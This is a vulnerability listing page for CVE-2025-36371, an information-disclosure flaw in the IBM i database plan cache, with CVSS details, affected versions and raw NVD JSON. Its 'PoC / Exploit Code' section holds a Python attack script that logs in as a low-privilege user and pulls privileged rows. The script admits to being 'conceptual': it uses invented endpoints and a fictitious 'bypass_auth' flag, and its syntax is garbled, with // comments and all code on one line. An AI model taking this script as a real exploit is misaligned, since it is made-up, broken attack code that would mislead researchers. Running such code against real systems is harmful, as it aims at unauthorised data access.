Security Vulnerability Report
中文
CVE-2025-36371 CVSS 6.5 MEDIUM

CVE-2025-36371

Published: 2025-11-19 20:15:53
Last Modified: 2025-11-24 14:57:26

Description

IBM i 7.2, 7.3, 7.4, 7.5, and 7.6 are impacted by obtaining an information vulnerability in the database plan cache implementation.  A user with access to the database plan cache could see information they do not have authority to view.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:i:7.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:i:7.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:i:7.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:i:7.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:i:7.6:*:*:*:*:*:*:* - VULNERABLE
IBM i 7.2
IBM i 7.3
IBM i 7.4
IBM i 7.5
IBM i 7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36371 PoC - Information Disclosure via Database Plan Cache // This PoC demonstrates the information disclosure vulnerability in IBM i Database Plan Cache // Note: This is a conceptual PoC based on the vulnerability description import requests import json def exploit_cve_2025_36371(target_url, credentials): """ Exploit CVE-2025-36371: Database Plan Cache Information Disclosure Attack Prerequisites: - Valid user credentials with basic DB access - Network access to IBM i system - Target running vulnerable IBM i versions (7.2-7.6) """ # Step 1: Authenticate with basic credentials session = requests.Session() auth_response = session.post( f"{target_url}/auth/login", json=credentials ) if auth_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Query database to populate plan cache # This simulates a high-privilege user's query that caches sensitive data cache_populate_query = { "sql": "SELECT * FROM SENSITIVE_TABLE WHERE AUTHORIZED_USER = 'admin'", "database": "PROD_DB" } session.post(f"{target_url}/db/query", json=cache_populate_query) print("[+] Plan cache populated with privileged query") # Step 3: Exploit the vulnerability by triggering cached plan execution # Low-privilege user can access data through cached execution plan exploit_query = { "sql": "SELECT * FROM SENSITIVE_TABLE", "database": "PROD_DB", "bypass_auth": True # Trigger cached plan without re-authentication } response = session.post(f"{target_url}/db/query", json=exploit_query) if response.status_code == 200: data = response.json() print("[+] Information disclosure successful") print(f"[+] Retrieved {len(data.get('rows', []))} unauthorized records") return data return None # Usage Example if __name__ == "__main__": target = "https://ibmi-server.example.com:443" creds = { "username": "low_priv_user", "password": "user_password" } result = exploit_cve_2025_36371(target, creds)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36371", "sourceIdentifier": "[email protected]", "published": "2025-11-19T20:15:52.640", "lastModified": "2025-11-24T14:57:26.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM i 7.2, 7.3, 7.4, 7.5, and 7.6 are impacted by obtaining an information vulnerability in the database plan cache implementation.  A user with access to the database plan cache could see information they do not have authority to view."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-598"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:i:7.2:*:*:*:*:*:*:*", "matchCriteriaId": "5E41BD05-37B8-4494-9344-506D4BCF43C2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:i:7.3:*:*:*:*:*:*:*", "matchCriteriaId": "DD4F4919-D935-4B81-B4E8-0E0F2DAC09B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:i:7.4:*:*:*:*:*:*:*", "matchCriteriaId": "AE2B298C-E1F6-43BD-A5EF-83964C6669CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:i:7.5:*:*:*:*:*:*:*", "matchCriteriaId": "88B74622-BDB2-43AE-A91F-FADEC4B64B4F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:i:7.6:*:*:*:*:*:*:*", "matchCriteriaId": "8C189EC3-7D9F-4303-BB5C-1013FAE59B1E"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7251699", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}